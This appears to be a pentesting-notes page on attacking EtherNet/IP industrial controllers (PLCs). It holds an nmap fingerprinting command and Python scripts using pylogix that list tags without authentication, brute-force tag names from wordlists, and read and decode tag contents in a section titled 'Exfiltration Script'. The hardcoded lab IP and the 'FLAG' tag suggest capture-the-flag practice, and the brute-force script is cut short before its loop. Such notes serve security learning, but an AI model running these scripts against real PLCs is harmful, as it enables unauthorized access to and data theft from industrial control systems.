Page cover
githubEdit

network-wiredEtherNet/IP

EtherNet/IP is an industrial network protocol that implements the Common Industrial Protocol (CIP) over standard Ethernet.

circle-info

Technical detail

EtherNet/IP classifies Ethernet nodesarrow-up-right into predefined device types with specific behaviors. Among other things, this enables:

  • Transfer of basic I/O data via UDP.

  • Uploading and downloading of parameters, setpoints, programs and recipes via TCP

  • Polled, cyclic and change-of-state monitoring via UDP.

  • One-to-one (unicastarrow-up-right), one-to-many (multicastarrow-up-right), and one-to-all (broadcast) communication via IP.

  • EtherNet/IP makes use of TCP port number 44818 for explicit messaging and UDP port number 2222 for implicit messaging.

  • Data is stored in Tags (variables) rather than memory addresses.

chevron-rightIdentificationhashtag
circle-info
Use the built-in enip-info script to fingerprint the device without sending aggressive packets
nmap -p 44818 --script enip-info <TARGET_IP>

What to look for: Vendor ID, Device Type (PLC is usually 0x0E), Product Name, and Revision

circle-info

Useful command for debugging

python -m cpppo.server.enip.client -vvv -a <IP:PORT> "<TAG_NAME>"
chevron-rightDiscoveryhashtag
circle-info

Find the tags. Some PLCs allow unauthenticated listing of all tags

from pylogix import PLC
import struct

comm = PLC()
comm.IPAddress = "94.237.122.188"
comm.Port = 58734

original_bytes = comm.conn._get_bytes

def safe_get_bytes(eip_header, connected):
    try:
        return original_bytes(eip_header, connected)
    except struct.error:
        return (0x01, b'\x00' * 50)

comm.conn._get_bytes = safe_get_bytes

print("[*] Attempting to enumerate all tags (GetTagList)...")

try:
    tags = comm.GetTagList()

    if tags.Status == "Success":
        print(f"[+] Success! Found {len(tags.Value)} tags.")
        for tag in tags.Value:
            print(f" - {tag.TagName} ({tag.DataType})")
    else:
        print(f"[-] Enumeration Failed.")
        print(f"    Server Status: {tags.Status}")
        print("    Reason: The PLC rejected the 'List Tags' request.")
        print("    Note: Tag listing is disabled on this device.")

except Exception as e:
    print(f"[-] Unexpected Error: {e}")
circle-info

You can also bruteforce the Tags

Make sure you have a wordlist
from pylogix import PLC
import sys

# Configuration
target_ip = "94.237.122.188"
target_port = 58734
wordlist_file = "wordlist.txt"

def try_tag(tag_name):
    comm = PLC()
    comm.IPAddress = target_ip
    comm.Port = target_port

    # Read just 1 element first to see if the tag exists
    response = comm.Read(tag_name, count=1)

    if response.Status == "Success":
        print(f"\n[+] FOUND TAG: {tag_name}")
        print(f"    Value: {response.Value}")
        return True
    elif response.Status == "Object does not exist":
        # Tag name is wrong/doesn't exist
        return False
    else:
        # Some other error (e.g. permission denied), but tag exists
        print(f"[!] Tag Exists but Error: {tag_name} ({response.Status})")
        return True

print(f"[*] Starting Brute Force on {target_ip}...")
  • Put attention on the value of the data to know if it is a string or a number

circle-info

SecLists Wordlists

For generic tags: common.txt

For Passwords/Admin tags: 10k-most-common.txt

For Brute Forcing: raft-medium-directories.txt

chevron-rightData Extraction & Decodinghashtag
circle-info

PLCs often store strings as Arrays of Integers (ASCII codes)

circle-info

Exfiltration Script

from pylogix import PLC

def read_and_decode(ip, port, tag_name, count=1):
    comm = PLC()
    comm.IPAddress = ip
    comm.Port = port
    
    print(f"[*] Reading tag: {tag_name}")
    

    response = comm.Read(tag_name, count)
    
    if response.Status != "Success":
        print(f"[-] Error: {response.Status}")
        return

    data = response.Value
    print(f"[*] Raw Data: {data}")

    # Method 1: Standard String
    if isinstance(data, str):
        print(f"[+] Decoded String: {data}")

    # Method 2: List of Integers (ASCII Array)
    elif isinstance(data, list) and all(isinstance(i, int) for i in data):
        try:
            clean_data = [i for i in data if i != 0]
            decoded_string = "".join([chr(i) for i in clean_data])
            print(f"[+] Decoded ASCII Array: {decoded_string}")
        except ValueError:
            print("[!] Data looks like integers but not valid ASCII.")
            
    # Method 3: Raw Integer
    elif isinstance(data, int):
        print(f"[+] Integer Value: {data}")
        if 0 < data < 127:
            print(f"[+] As Char: {chr(data)}")

# --- Configuration ---
target_ip = "94.237.122.188" 
target_port = 58734
target_tag = "FLAG"
elements_to_read = 50 

# --- Execution ---
read_and_decode(target_ip, target_port, target_tag, elements_to_read)
  • Make sure to change the configuration options to your use case

  • Note that you will need a bigger number for elements_to_read variable in case of dealing with logs or more extensive information

Last updated